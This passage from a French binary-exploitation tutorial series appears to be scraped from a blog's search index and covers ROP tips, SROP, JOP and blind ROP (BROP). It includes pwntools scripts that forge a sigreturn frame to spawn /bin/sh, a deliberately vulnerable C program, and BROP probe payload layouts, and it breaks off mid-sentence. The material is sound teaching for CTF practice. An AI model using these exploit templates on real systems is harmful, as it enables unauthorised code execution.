dans tous les cas l’un des pointeurs donné en paramètre (ex : memset …).Apparemment strcmp chargerait rdx avec la taille de la chaîne de caractères comparée mais je n’ai pas vu que c’était toujours le cas …Il me semble qu’il y a aussi un effet de bord avec calloc (qui permet de charger ecx ou rcx ?) mais je ne m’en rappelle plus. Désolé de ne pas pouvoir vous en proposer plus 😕.L’important à retenir est que ce type d’astuces est utile pour les situations où vous manquez vraiment de gadgets pour l’exploitation.ROP rime forcément avec buffer overflow ?Vous vous dites sans doute que le ROP ne peut être utilisé que dans le cas où la vulnérabilité exploitée est un dépassement de mémoire dans la pile. Ce n’est pas totalement vrai. En fait, il est parfois possible de rediriger l’exploitation d’une vulnérabilité qui a lieu ailleurs grâce à différentes astuces. Dans tous les cas, nous partirons de l’hypothèse que nous possédons une primitive d’écriture arbitraire.La première astuce est évidemment de réussir à avoir une fuite de mémoire (via une primitive de lecture, une chaîne de format …) qui donne accès à des adresses de la pile afin de contourner l’ASLR. Ainsi, nous pourrons utiliser la primitive afin d’écrire une chaîne de ROP directement sur la pile.Dans le cas où il ne semble pas être facile de faire fuiter une adresse de la pile, nous pourrons tenter d’afficher le contenu de la variable globale de la libc environ qui pointe vers les variables d’environnement situées … dans la pile !Il risque d’y avoir un peu de manipulation et de marge à prévoir pour trouver où pointe rsp/esp mais cela reste faisable.📋 SynthèseCe chapitre un peu “fourre-tout” avait pour objectif de mettre en avant certaines problématiques et enjeux autour du ROP. Que ce soit de passer du ROP 32 bits au ROP 64 bits ou bien comment avancer lorsque l’on ne trouve pas les gadgets dont on a besoin. On retiendra que le plus important est d’avoir de l’imagination et de ne pas baisser les bras 💪.Nous avons vu comment utiliser ROPgadget mais n’hésitez pas à jeter un œil à Ropper qui propose des fonctionnalités intéressantes comme la recherche de gadget à partir de contraintes en utilisant un solveur.Il y a également des outils, dont ROPgadget, pwntools et Ropper, qui permettent de construire automatiquement toute une chaîne de ROP pour exécuter l’appel d’une fonction arbitraire mais bon, ça ne semble fonctionner que dans les cas les plus simples 😶 …Pratiquer davantage 💪A ce stade, n’hésitez pas à vous entraîner au ROP car il s’agit d’une technique, à l’heure de l’écriture de ces lignes, toujours très utilisée pour exploiter les programmes. Voici quelques plateformes : ROP Emporium : comme son nom l’indique, cette plateforme est spécialisée dans les challenges d’apprentissage du ROP. Je ne les ai pas testés mais ce qui semble intéressant est l’accessibilité des challenges, notamment des premiers. De plus, il y a la possibilité de choisir une architecture différente de x86_64 pour les plus curieux 😉. Root-Me : la catégorie “App Système” est en fait la catégorie de challenges de type pwn. Vous y trouverez pas mal de challenge qui peuvent être résolus via du ROP." }, { "title": "Partie 23 - Exploiter un binaire par ROP - SROP et JOP (4/6)", "url": "/posts/introduction_au_pwn_partie_23/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-16 08:00:00 -0200", "snippet": "Exploiter un binaire par ROP : SROP et JOP (4/6)Dans ce chapitre, nous allons nous intéresser à quelques techniques d’exploitation qui sont proches du ROP et qui peuvent être utilisées dans certain...", "content": "Exploiter un binaire par ROP : SROP et JOP (4/6)Dans ce chapitre, nous allons nous intéresser à quelques techniques d’exploitation qui sont proches du ROP et qui peuvent être utilisées dans certains contextes : Technique Signification Résumé Quand l’utiliser ? SROP Sigreturn-Oriented Programming Contourner l’appel système sigreturn afin de contrôler l’exécution du programme Présence d’instructions syscall/int 0x80, libc inaccessible, etc. JOP Jump-Oriented Programming Utiliser des instructions de sauts pour contrôler l’exécution du programme Quand le ROP n’est pas possible 🙄 BROP Blind ROP Technique permettant de faire du ROP “à l’aveugle” sur un programme distant dont on ne dispose pas du binaire Programme distant dont on ne dispose pas du binaire Ces techniques sont généralement très dépendantes du contexte et, honnêtement, il n’est pas indispensable de toutes les maîtriser. Retenez simplement que ce chapitre vous fournit les informations nécessaires à leur mise en œuvre.Étant donné leur caractère assez niche, nous nous concentrerons ici sur la partie théorique.SROP (ou Sigreturn-Oriented Programming)Le SROP est une technique d’exploitation basée sur la réutilisation de code, mais dans une moindre mesure que le ROP. Elle consiste à forger une structure rt_sigframe à donner en paramètre à l’appel système sigreturn, d’où le nom de cette technique 🤓.Cette technique peut être très intéressante dans le cas où il n’est pas possible d’accéder à la libc et que l’on arrive à trouver l’adresse d’une instruction syscall ou int 0x80.Conditions préalablesBien que très puissant, quelques conditions sont à satisfaire avant de réaliser du SROP : contrôler les N premiers octets de la pile en ayant la possibilité d’insérer des octets nuls ; contrôler eax / rax afin de pouvoir y mettre le numéro de l’appel système sigreturn ; trouver l’adresse d’un gadget syscall/int 0x80 contrôler rip/eip. N est la taille de la structure rt_sigframe en octets. S’il n’est pas possible d’avoir exactement N octets lors du dépassement de mémoire, il faudra au moins pouvoir contrôler les principaux registres dont nous aurons besoin.Fonctionnement globalL’ingéniosité de cette technique réside dans le fait de contourner l’utilisation de l’appel système sigreturn afin d’exécuter un autre appel système, par exemple execve.L’objectif de sigreturn est de permettre à un gestionnaire de signal de ne pas se préoccuper de rétablir le contexte d’exécution tel qu’il l’était avant de traiter le signal. De ce fait, en utilisant sigreturn, c’est le noyau qui s’occupe de restaurer le contexte d’exécution à partir de la sauvegarde qu’il a faite … sur la pile !Et vous savez quoi ? Peu importe l’architecture, 32 bits ou 64 bits, la structure rt_sigframe, qui contient la sauvegarde du contexte, est toujours sauvegardée dans la pile 😏. Ce qui signifie qu’avec un dépassement de mémoire sur la pile, nous pourrons contrôler le contenu de cette structure. Si vous souhaitez approfondir le concept de signal en programmation C, vous pouvez jeter un œil à ce cours.L’idée va donc être de forger la structure rt_sigframe de manière à : charger les registres utilisés comme arguments des appels système avec les valeurs adéquates ; mettre la valeur adéquate dans eax/rax pour l’appel système final ; mettre l’adresse de l’instruction int 0x80/syscall dans l’endroit où est censé être sauvegardé eip/rip.De la sorte, sigreturn va se charger, pour nous, de réaliser n’importe quel appel système, merci pour les travaux 😎 ! Cette technique ressemble sur certains points à l’utilisation de la fonction setcontext de la libc. Nous en reparlerons dans un chapitre dédié à l’exploitation dans le tas.La structure rt_sigframeTout d’abord il faut savoir que le contenu et la taille de cette structure dépend de l’architecture utilisée. Vous imaginez bien que sauvegarder des registres de 32 bits ne prend pas la même place que sauvegarder des registres de 64 bits.Intéressons-nous à la version 64 bits. De toute manière, la version 32 bits suit le même principe et les deux sont définies dans ce fichier.Voici sa définition :struct rt_sigframe {\tchar __user *pretcode;\tstruct ucontext uc;\tstruct siginfo info;};En descendant d’un cran :struct rt_sigframe {\tchar __user *pretcode;\tstruct ucontext uc \t\t{\t\t\tunsigned long\t uc_flags;\t\t\tstruct ucontext *uc_link;\t\t\tstack_t\t\t uc_stack;\t\t\tstruct sigcontext uc_mcontext;\t\t\tsigset_t\t uc_sigmask;\t\t\t};\tstruct siginfo info;};Et en descendant encore d’un cran :C’est bon j’ai compris j’arrête 🥲. Et puis, ce qui nous intéresse, c’est ce que ça donne en mémoire, c’est-à-dire ceci :sourceImaginez prendre le contrôle de cette structure et avoir la possibilité de modifier arbitrairement tous ces registres dont rip 🤤!Exploiter cette structure En fait, il va falloir utiliser le buffer overflow pour forger toutes ces valeurs sur la pile et faire croire au programme, en exécutant l’appel système sigreturn, qu’il doit rétablir le contexte ?C’est exactement ça ! La seule difficulté consiste à se rappeler la position de chaque registre dans la structure. Enfin, “difficulté” on se comprend, car pwntools permet de forger cette structure, nous verrons comment plus tard.Voici comment exploiter un dépassement mémoire avec du SROP (ici en 64 bits) : nous nous plaçons au moment où le dépassement de mémoire est terminé. A partir de maintenant la chaîne SROP débute. La structure rt_sigframe est en 🔵, en dessous de l’adresse de l’instruction syscall ; tout d’abord, il va falloir trouver et exécuter un gadget qui chargera la valeur 0xf dans rax, étant donné qu’il s’agit du numéro de l’appel système sigreturn. Ce gadget 🔴 peut être de différent type, par exemple, un pop rax ; ret fera l’affaire ; l’appel système sigreturn est exécuté avec la structure forgée rt_sigframe dans la pile. Les valeurs les plus intéressantes à contrôler sont en gras, notamment rdi, rsi et rdx pour les arguments du prochain appel système à exécuter. rax pour y mettre le numéro du prochain appel système, ici execve. Enfin, rip afin d’exécuter immédiatement à la sortie de sigreturn le prochain appel système ; étant donné que sigreturn s’est gentiment chargé de restaurer le contexte d’exécution avec les valeurs que nous avons préalablement choisies, la prochaine exécution de l’instruction syscall implique l’appel de execve(\"/bin/sh\", NULL, NULL).Évidemment, si l’on veut invoquer execve, il faut en outre pouvoir écrire la chaîne \"/bin/sh\" (ou la trouver en mémoire) à une adresse connue à l’avance.Pour ce qui est de la valeur de eflags et cs/gs/fs dans rt_sigframe il y a deux possibilités pour avoir des valeurs cohérentes : soit mettre les valeurs trouvées via gdb au moment où sigreturn va être exécuté ; ou bien laisser pwntools remplir ces valeurs pour nous 😇.Construire une chaîne de SROP avec pwntools64 bitsConstruire des chaînes de ROP comme des pros, vous savez tous le faire à présent 😉. Ainsi, je ne doute pas de votre capacité à vous débrouiller pour trouver un gadget ou une astuce pour mettre la valeur 0xf (sigreturn) dans rax.C’est pourquoi nous allons seulement nous intéresser à la génération d’une structure rt_sigframe grâce à pwntools et voir comment l’ajouter en tant qu’octets dans notre payload final. Ainsi, nous pourrons nous en servir comme modèle en cas de besoin. La voici :from pwn import *context.arch = 'amd64'io = process(\"./exe\")# Ces valeurs sont a adaptersyscall = 0x400123 # Adresse de l'instruction `syscall`addr_bin_sh = 0x400213bourrage = 40 # Creation de la structure `rt_sigreturn`frame = SigreturnFrame()frame.rax = int(constants.SYS_execve) # 0x3bframe.rdi = addr_bin_sh # parametre n°1frame.rsi = 0 # parametre n°2frame.rdx = 0 # parametre n°3frame.rip = syscallpayload = b\"A\" * bourrage#payload += ... # Mettre `constants.SYS_rt_sigreturn` dans `rax`payload += p64(syscall) # Appel systeme `sigreturn`payload += bytes(frame) # Structure `rt_sigframe`\"\"\"io.send(payload)(...)\"\"\"On peut même afficher le contenu de frame en utilisant IPython :In [5]: frameOut[5]:{'uc_flags': 0, '&amp;uc': 0, 'uc_stack.ss_sp': 0, 'uc_stack.ss_flags': 0, 'uc_stack.ss_size': 0, 'r8': 0, 'r9': 0, 'r10': 0, 'r11': 0, 'r12': 0, 'r13': 0, 'r14': 0, 'r15': 0, 'rdi': 287454020, 'rsi': 0, 'rbp': 0, 'rbx': 0, 'rdx': 0, 'rax': 59, 'rcx': 0, 'rsp': 0, 'rip': 2864434397, 'eflags': 0, 'csgsfs': 51, 'err': 0, 'trapno': 0, 'oldmask': 0, 'cr2': 0, '&amp;fpstate': 0, '__reserved': 0, 'sigmask': 0}Nous remarquons que pwntools s’est chargé de mettre une valeur dans csgsfs afin que la restauration du contexte d’exécution ne fasse pas planter le programme.32 bitsComme cela a été précédemment mentionné, le SROP en 32 bits suit le même principe qu’en 64 bits, les seules différences sont : les registres ont une taille de 32 bits (merci Sherlock 🕵️‍♂️) ; l’instruction d’appel système est int 0x80 ; la convention d’appel est ebx, ecx et edx au lieu de rdi, rsi et rdx ; l’agencement de rt_sigreturn est un peu différent.Ci-dessous, le script pour la version 32 bits :from pwn import *context.arch = 'i386'io = process(\"./exe\")# Ces valeurs sont a adapterint_0x80 = 0x400123 # Adresse de l'instruction `int 0x80`addr_bin_sh = 0x400213bourrage = 40# Programme 32 bits mais kernel 64 bitsframe = SigreturnFrame(kernel=\"amd64\") frame.eax = int(constants.SYS_execve) # 0xbframe.ebx = addr_bin_sh # parametre n°1frame.ecx = 0 # parametre n°2frame.edx = 0 # parametre n°3frame.eip = int_0x80payload = b'A' * bourrage#payload += ... # Mettre `constants.SYS_rt_sigreturn` dans `eax`payload += p32(int_0x80) # Appel systeme `sigreturn`payload += bytes(frame) # Structure `rt_sigframe`\"\"\"io.send(payload)(...)\"\"\"Finalement, une fois le principe assimilé, passer du 32 bits au 64 bits ne présente pas de difficulté majeure.JOP (ou Jump-Oriented Programming)Le JOP est une technique d’exploitation qui a été proposée afin d’éviter d’avoir à dépendre de la pile et contourner d’éventuelles protections ciblant le ROP qui pourraient être introduites ultérieurement.Cette technique est toujours basée sur de la réutilisation de bouts de code présent en mémoire, protection NX oblige. Toutefois, cette réutilisation de code ne va pas se faire de la même manière.Par exemple, les maillons de la chaîne de JOP n’ont pas nécessairement besoin d’être présents sur la pile. Ils peuvent être placés autre part en mémoire comme les sections .bss/.data ou même le tas.Fonctionnement globalLe processus global du JOP peut être résumé ainsi :Ce schéma tiré du papier qui décrit le fonctionnement du JOP synthétise les différentes parties dont on a besoin pour faire du JOP.Le gadget dispatcherTout d’abord, il y a ce que l’on appelle le gadget dispatcher. Il s’agit d’un gadget, une succession d’instructions donc, qui permet de simuler le fonctionnement d’un pointeur d’instruction mais de manière globale. Comme son nom l’indique, son rôle est de dispatcher le flux d’exécution vers les différents gadgets placés dans la dispatch table.Il peut avoir différentes formes en fonction du registre ou de la zone mémoire qui jouera le rôle de pointeur d’instruction. Par exemple, le gadget suivant accomplit cette tâche via le registre rbx :add rbx, 8jmp [rbx]Où rbx pointe à chaque instant vers l’une des entrées de la dispatch table.L’outil xgadet possède l’option -d/--dispatcher permettant de trouver de potentiels gadget dispatcher.La dispatch tableC’est la zone mémoire qui va contenir les adresses des différents gadgets à exécuter en vue d’atteindre un certain objectif (appeler une fonction de la libc, un appel système …). C’est ici que seront placés les différents éléments de la chaîne de JOP.En fonction de ce que fait tel ou tel gadget, il sera peut-être nécessaire d’intercaler des données entre les adresses de gadgets. Auquel cas, il faudra aussi faire en sorte que le gadget dispatcher ne tente pas d’exécuter une zone mémoire qui contient des données au lieu d’une adresse de gadget. Mais va falloir plusieurs gadget dispatcher si on insère aussi des données dans la chaîne de JOP ?Oui, s’il y a des données, il faudra peut-être trouver des instructions qui feront incrémenter de 16, 24 ou 32 octets le registre pointant vers la dispatch table.Sinon, il est possible de faire en sorte que : les données soient stockées à un endroit différent de la dispatch table ; les gadgets qui nécessitent des données fassent avancer eux-mêmes le pointeur de dispatch table.Les gadgetsLes gadgets propres au JOP se terminent la plupart du temps par un saut indirect tel que jmp rax, ` jmp [rdx] ... Pour autant, nous pouvons également envisager d'utiliser des instructions qui se terminent par un **appel indirect** tel que call rax ou call qword ptr [r13 + 0x10]`.Comme le JOP n’est, normalement, pas destiné à dépendre de la pile, nous ne pourrons pas utiliser de gadget du type pop rxx. Sauf si l’on réalise un pivot de pile auquel cas autant finir avec du bon vieux ROP 🙃.Ainsi, il va falloir se débrouiller pour trouver des gadgets de JOP permettant de lire des données, en écrire, charger des registres etc. C’est sans doute la partie la plus pénible où il va falloir prendre le temps de trouver de tels gadgets.Par ailleurs, il ne faut pas oublier un point important ⚠️ : tous les gadgets de la chaîne de JOP doivent retourner, une fois leur exécution terminée, dans le gadget dispatcher afin que ce dernier exécute le prochain gadget.Si un gadget ne remplit pas cette condition : soit on le met de côté ; soit il doit faire en sorte d’exécuter lui-même le prochain gadget de la chaîne.Je vous l’accorde, sur le papier ça a l’air d’être une technique d’exploitation révolutionnaire. Mais en pratique, c’est très compliqué à mettre en place et, comme vous pouvez le voir, elle nécessite pas mal de bidouillage et de nombreuses contraintes à respecter 😮‍💨.ExerciceSi vous souhaitez vous faire mal à la tête entraîner à faire du JOP, le challenge suivant devrait être ce qu’il vous faut : juujuu. Il possède même une solution de résolution (en anglais). Je n’ai pas testé ce challenge donc je n’ai malheureusement pas d’indice à vous donner 😅." }, { "title": "Partie 24 - Exploiter un binaire par ROP - BROP – exploitation en boîte noire (5/6)", "url": "/posts/introduction_au_pwn_partie_24/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-15 08:00:00 -0200", "snippet": "Exploiter un binaire par ROP : BROP – exploitation en boîte noire (5/6)Le meilleur pour la fin ! Attaquons ce gros morceau qu’est le BROP alias Blind ROP ou ROP “à l’aveugle”.Pour faire court, le B...", "content": "Exploiter un binaire par ROP : BROP – exploitation en boîte noire (5/6)Le meilleur pour la fin ! Attaquons ce gros morceau qu’est le BROP alias Blind ROP ou ROP “à l’aveugle”.Pour faire court, le BROP c’est faire du ROP sur un programme dont on ne possède pas le binaire. Et là, la question que l’on se pose rapidement est : comment trouver des gadgets dans un programme auquel on n’a pas accès ?C’est là que réside la difficulté de l’exploitation, une difficulté à laquelle le BROP apporte une solution. Nous allons dans un premier temps nous intéresser au BROP 64 bits avant de voir comment le mettre en place en 32 bits (sans vouloir vous divulgâcher, c’est la même méthodologie 🙃).Nous profiterons également de l’occasion pour comprendre comment ouvrir et interagir avec un terminal ouvert à distance.Voici les principales étapes que nous étudierons dans ce chapitre : le gadget stop ; trouver des gadgets intéressants ; faire fuiter le programme et/ou la libc ; communiquer avec un terminal à distance ; chaîne de ROP finale. Comme pour le SROP et le JOP nous n’allons pas exploiter, lors de ce chapitre, de challenge qui nécessite la mise en place d’une telle technique. Néanmoins, nous allons voir en détail comment le BROP fonctionne en mettant notamment l’accent sur les étapes les plus complexes. Il se peut que certaines étapes soient à rafistoler et adapter en fonction du programme à exploiter et du contexte d’exploitation.Fonctionnement global Il existe un article technique en anglais qui détaille les différentes étapes du BROP.Avant de rentrer plus en détail dans la mise en place du BROP, comprenons d’abord comment cette technique est censée nous permettre d’exploiter un programme sans disposer de son code source.Commençons avec les hypothèses suivantes : il est possible de communiquer avec le programme distant ; une vulnérabilité de type buffer overflow sur la pile est présente ; il est possible d’envoyer un grand nombre de requêtes au programme sans être banni ; il est possible de savoir (ou deviner) quand le programme plante ou non ; le processus avec lequel nous communiquons est lancé via un fork (pour les programmes compilés avec des canaris).L’idée générale va être d’utiliser une technique d’essai-erreur, en envoyant diverses requêtes, pour comprendre comment fonctionne le programme et trouver les gadgets dont nous avons besoin pour l’exploiter.Imaginez jouer à un jeu Mario avec l’écran éteint avec pour objectif de finir le niveau. Au départ on ne connaît pas la carte. En revanche, on reçoit des indices (les sons, les vibrations de la manette …) au fur et à mesure que l’on y joue. En multipliant les essais et en observant ces retours, on finit par reconstituer progressivement les principaux éléments du niveau. Une fois ces éléments identifiés, il ne reste plus qu’à enchaîner les bonnes touches pour terminer le niveau.Avec le BROP, c’est exactement la même stratégie. Pour reprendre l’analogie, ce qui va nous permettre d’avancer, c’est le fait de modifier l’adresse de retour pour se déplacer vers différents endroits dans le programme. Quant à ce qui va nous permettre de déterminer si nous avons trouvé quelque chose d’intéressant ou non, c’est ce que retourne le programme en termes de chaînes de caractères ou de comportement.Évidemment, trouver les gadgets n’est pas la seule étape lors de l’exploitation. Généralement, les premières étapes seront les suivantes : si le programme est compilé avec les canaris : le faire fuiter ; si le programme est PIE : déterminer les octets de poids fort de l’adresse de retour.Une fois que ces premières étapes sont réalisées, nous allons devoir trouver deux autres gadgets qui sont très importants dans le cadre de la mise en place du BROP : le gadget stop : il s’agit d’un gadget qui, une fois exécuté, affiche un comportement (chaîne de caractères précise affichée, programme mis en pause quelques secondes …) qui nous permettra de trouver facilement d’autres gadgets. Nous nous pencherons sur son utilité juste après ; le gadget trap : une adresse qui fait planter le programme à coup sûr (zone mémoire non exécutable, adresse invalide etc.). Généralement facile à trouver.Il est important de prendre le temps de trouver le stop gadget car c’est ce qui va nous permettre de trouver les autres gadgets en tâtonnant. Pour ce qui est du gadget trap, une adresse invalide telle que 0xdeadbeefcafebabe fera l’affaire.1️⃣ Le gadget stop J’ai absolument rien compris à ce que c’est ni comment le trouver 🤨 ?Un stop gadget est une adresse qui, lorsqu’elle est exécutée, produit un comportement stable, reconnaissable et qui ne fait pas planter le programme, permettant de distinguer une exécution valide d’un crash. Il nous permettra de valider certains gadgets lors de notre recherche.Essayons de comprendre le rôle du gadget stop à travers ce programme (qui n’a ni queue ni tête honnêtement):#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;unistd.h&gt;#include &lt;string.h&gt;// gcc -no-pie -fno-pie -fno-stack-protector main.c -o exeint main(int argc, char *argv[]) { if (argc &lt; 2) { puts(\"Usage: ./exe &lt;taille&gt;\"); return 1; } int taille = atoi(argv[1]); char buffer[0x10] = {0}; for (int i = 0; i &lt; taille; i++) { if (read(0, &amp;buffer[i], 1) &lt;= 0) { puts(\"Une erreur s'est produite\"); break; } if (strlen(buffer) &gt; 0x10) { puts(\"Hop hop hop !\"); } } if(strlen(buffer) % 2 == 0) puts(\"Pair\"); else puts(\"Impair\"); return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-rop-brop.zip 🔎 SHA256 &amp; Analyse Virus Total : 3651eddb602442a1fb31f60e96e72acff4664515006d3967bf32976753ec1c05 ⚙️ Construction et lancement du conteneur :docker build -t pwn-rop-brop .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-rop-bropLe dépassement mémoire sur la pile, on l’a tous vu 🧐. Mais nous, ce que l’on veut, c’est comprendre ce qu’est un stop gadget et comment le trouver.Comme vous pouvez le constater il y a plusieurs appels à puts dont nous pouvons utiliser la string affichée pour comprendre de plus en plus le fonctionnement du programme. Elles peuvent toutes être, a priori, de bonnes cibles pour le stop gadget. Sauf que l’une d’elles est bien plus pertinente que les autres, à savoir \"Usage: ./exe &lt;taille&gt;\". Et pourquoi donc ?Les autres sont placées dans des boucles ou peuvent être affichées sous certaines conditions qui sont liées à la saisie utilisateur. De plus \"Usage: ./exe &lt;taille&gt;\" ne devrait jamais être affichée dans un usage normal du programme.L’appel à puts pour cette string est situé ici: 4011a2: 89 7d dc mov DWORD PTR [rbp-0x24],edi 4011a5: 48 89 75 d0 mov QWORD PTR [rbp-0x30],rsi 4011a9: 83 7d dc 01 cmp DWORD PTR [rbp-0x24],0x1 4011ad: 7f 14 jg 4011c3 &lt;main+0x2d&gt; 4011af: bf 04 20 40 00 mov edi,0x402004 ; \"Usage: ./exe &lt;taille&gt;\" 4011b4: e8 b7 fe ff ff call 401070 &lt;puts@plt&gt;Par conséquent, nous pourrons utiliser l’adresse 0x4011af en tant que stop gadget. Mais on est pas censé ne pas connaître le programme à l’avance ?Oui justement, le gadget stop, il faut le chercher ! On pourra notamment modifier les octets de poids faible de l’adresse de retour pour le trouver. Généralement, c’est en tâtonnant que l’on arrive petit à petit à comprendre où l’on se situe et ce que l’on est grosso modo en train d’exécuter.Par ailleurs, le gadget stop doit permettre de “quitter” le programme distant, sans le faire planter, ainsi que les boucles qu’il contient et qui peuvent poser problème dans notre recherche de gadgets.Une difficulté qu’il peut y avoir dans la recherche du stop gadget est qu’il peut y avoir plusieurs candidats dont certains qui vont s’avérer être des faux positifs. N’hésitez pas à en sélectionner plusieurs, notamment ceux qui semblent avoir un comportement différent des autres.Dans le précédent exemple, que l’on utilise 0x4011a5, 0x4011ad ou 0x4011af, le comportement du programme est le même : il a des chances d’afficher \"Usage: ./exe &lt;taille&gt;\". Le gadget stop doit retourner autre chose que ce que le programme retourne lorsqu’il termine correctement son exécution. Par exemple si le programme affiche \"Au revoir !\" et que le gadget stop également, on va pas aller bien loin 😅.Et le gadget trap alors ?Comme nous l’avons vu plus haut, le gadget trap est une adresse invalide, de telle sorte à ce que l’on sache que, si le programme saute à cet adresse, il va planter à coup sûr. Voici comment peuvent être utilisés les gadgets stop et trap :Dans le schéma ci-dessus, le gadget stop met le programme en pause pendant 10 secondes. Le gadget trap, quant à lui, est une adresse invalide, en l’occurrence NULL.Le gadget probe (ou gadget sondé) est celui que l’on teste afin de déterminer s’il est de la forme voulue ou non. Par exemple, il peut s’agir d’un gadget pop rax ; ret, xor eax, eax ; ret ou autre.Le fait de mettre en tête de pile les gadgets dans l’ordre [probe][trap][stop] permet de voir si le gadget probe est de type pop r.. ; ret. En effet, le cas échéant, le programme plante et n’exécute pas le gadget stop. Il peut y avoir des faux positifs comme le cas d’un gadget add rsp, 8 ; ret que l’on croirait être un pop r.. ; ret alors qu’il exécutera bien le gadget stop. Avec le BROP, les faux positifs peuvent rapidement donner envie de s’arracher les cheveux 😅.En utilisant la même logique il est possible de trouver les gadgets de cette forme : pop r.. ; pop r.. ; ret avec [probe][trap][trap][stop] ; pop r.. ; pop r.. ; pop r.. ; ret avec [probe][trap][trap][trap][stop].Comme nous ne savons pas quelles sont les instructions exécutées, nous ne pouvons pas distinguer, pour l’instant, un pop rdi ; ret, pop rsi ; ret d’un pop r12 ; ret. Nous verrons plus loin comment faire.L’objectif est de contrôler rdi, rsi et rdx afin de pouvoir appeler des fonctions intéressantes en contrôlant leurs arguments.2️⃣ Trouver des gadgets intéressantsIl existe une astuce pour ne pas avoir à se demander si nous avons trouvé un pop rdi ; retou un pop rsi ; ret :Ce qui est communément appelé BROP gadget … c’est un gadget que vous connaissez déjà :Cela ne vous rappelle rien 😏 ? C’est le fameux gadget de la fonction __libc_csu_init ?Oui ! Comment pouvons-nous l’oublier ! Ce que l’on peut faire lors de notre recherche de gadget est la chose suivante : utiliser un dépassement mémoire de cette forme : [probe][trap]*6[stop] ; si le gadget stop est bien exécuté, tester : [probe+7][trap]*2[stop] ; si le gadget stop est encore bien exécuté, tester : [probe+9][trap][stop] ; si le gadget stop est bien exécuté, alors il y a de grandes chances que l’adresse probe corresponde au BROP gadget 😎.En ayant trouvé le BROP gadget nous savons comment charger rdi et rsi.Contrôler rdxVous vous doutez bien que s’il fallait seulement contrôler rdi et rsi, ce serait trop facile ! Nous avons généralement besoin de rdx. Pour cela il existe plusieurs solutions. Les plus simples ou accessibles sont les suivantes : réussir à faire fuiter une adresse de la pile afin de faire un ret2csu en faisant en sorte que call [r12 + rbx*8] soit un appel valide (en le faisant pointer vers une adresse de la pile que l’on contrôle) ; trouver où une fonction write ou send est appelée ; chercher la PLT par force brute en essayant de trouver un send/write tout en espérant que rdx ne soit ni nul ni n’ait une trop grande valeur.La première solution est intéressante dans le cas où il est facile d’avoir une fuite d’une adresse de la pile. La deuxième est peut-être encore plus accessible dans le sens où il y a moins d’hypothèses à prendre en compte. Bah oui mais que ce soit send ou write, le troisième argument de ces fonctions est le nombre d’octets à envoyer or on ne contrôle pas encore rdx 🧐.On ne contrôle pas rdx, certes. C’est pour cela que nous allons tâtonner pour trouver une suite d’instruction de ce type :mov rdi, xxxmov rsi, xxxmov rdx, 0x100call writeEn utilisant le BROP gadget nous pouvons choisir arbitrairement rdi et rsi. Il ne nous restera plus qu’à faire fuiter le programme pour y trouver des fonctions intéressantes et pourquoi pas un gadget pop rdx ; ... ; ret, on a le droit de rêver non 🙃 ?Si cela n’aboutit à rien d’intéressant, nous pourrons basculer notre recherche de gadget dans la libc en l’ayant préalablement fait fuiter. Dans l’article qui détaille comment mettre en place le BROP, ils expliquent comment charger rdx en navigant dans la PLT afin de trouver une fonction strcmp et utiliser un effet de bord permettant. Le souci de cette technique est qu’il n’y a pas toujours de fonction strcmp utilisée et que cet effet de bord n’est pas systématique (dépend de la version utilisée de la libc ?).Naviguer dans la PLTSi la tentative de leak n’a pas abouti, il nous reste encore une option : trouver la table PLT et tenter d’identifier les fonctions qu’elle référence.Dans les programme 64 bits, chaque entrée de la PLT fait 16 octets. Ainsi, nous allons pouvoir réaliser une recherche plus rapide en cherchant 0x10 octets par 0x10 octets. La PLT se trouve généralement au début du programme. On est censé mettre quels arguments si on trouve la PLT pour ne pas que cela plante ?La réponse est : ça dépend. En fait, beaucoup de fonctions de la libc sont en réalité des surcouches d’appels système. Ce détail a son importance car cela signifie que si les arguments ne sont pas valides lors de l’appel d’une fonction qui fait directement appel à un appel système, cela ne va pas faire planter le programme en user land.Bien sûr, rien ne nous interdit de mettre des valeurs pertinentes dans rdi et rsi. Peut-être que cela permettra de faire fuiter des données situées à l’adresse pointée par rsiou rdi. Auquel cas nous avons peut-être trouvé une manière de faire fuiter le programme et on pourra appliquer la méthode précédente pour récupérer le programme voire la libc.Ainsi un payload permettant de trouver une entrée de la PLT pourrait avoir la forme suivante : [pop_rsi_r15][val_rsi][osef][pop_rdi][val_rdi][probe+0x10*i][stop].Encore une fois, c’est entre autre grâce à l’exécution du gadget stop que l’on saura si nous sommes bien sur une entrée de la PLT (ou un gadget) qui ne fait pas planter le programme. N’hésitez pas à bidouiller le payload à votre guise. En fonction du programme exploité, les comportements peuvent varier et on ne pourra pas appliquer chaque étape du BROP de la même manière pour tous les programmes. Par exemple, faites attention aux données que vous renvoie le programme à chaque tentative. Si vous y trouvez des octets qui ne sont généralement pas retournés, vous avez peut-être trouvé un gadget ou une fonction intéressante.3️⃣ Faire fuiter le programme et/ou la libcA ce stade, nous allons supposer que nous avons pu trouver une primitive de lecture permettant de faire fuiter N octets à une adresse donnée. Le supplice a assez duré, il est temps de récupérer le programme, voire la libc si possible, afin de l’analyser localement.Pour cela il existe différentes solutions : récupérer petit à petit le programme en faisant fuiter les données à partir de l’adresse de base du programme ; utiliser le module DynELF de pwntools.La première solution permet de récupérer totalement le programme ainsi que la libc une fois que l’on aura déterminé leur adresse de base. Néanmoins elle peut être un peu plus fastidieuse.En revanche, la seconde méthode permet de trouver des symboles, en l’occurrence des fonctions, sans avoir à télécharger les deux binaires. C’est l’occasion d’apprendre à utiliser le module DynELF qui peut s’avérer très utile !Utiliser DynELFNotre ami DynELF n’est pas très demandeur, il n’a besoin qu’on lui fournisse seulement une fonction python qui lit au moins 1 octet à une adresse donnée ainsi qu’une adresse du programme dont on a une primitive de lecture arbitraire. Ensuite, c’est lui qui se charge du reste 🦾.Le module s’utilise ainsi :def leak(addr): # (...) d = DynELF(leak, addr_prgrm) system = d.lookup(\"system\", \"libc\")execve = d.lookup(\"execve\", \"libc\")# (...)où : leak est une fonction qui retourne au moins un octet lu à l’adresse donnée en paramètre ; addr_prgrm : une adresse présente dans le programme.Avec ce script, les fonctions system et memset seront trouvées par le module DynELF sans que l’on ait besoin de le faire nous même.4️⃣ Communiquer avec un terminal à distanceA présent nous avons : des gadgets nous permettant de charger arbitrairement rdi, rsi et rdx ; accès à toutes les fonctions intéressantes de la libc.Il ne nous reste plus qu’à mettre en place la 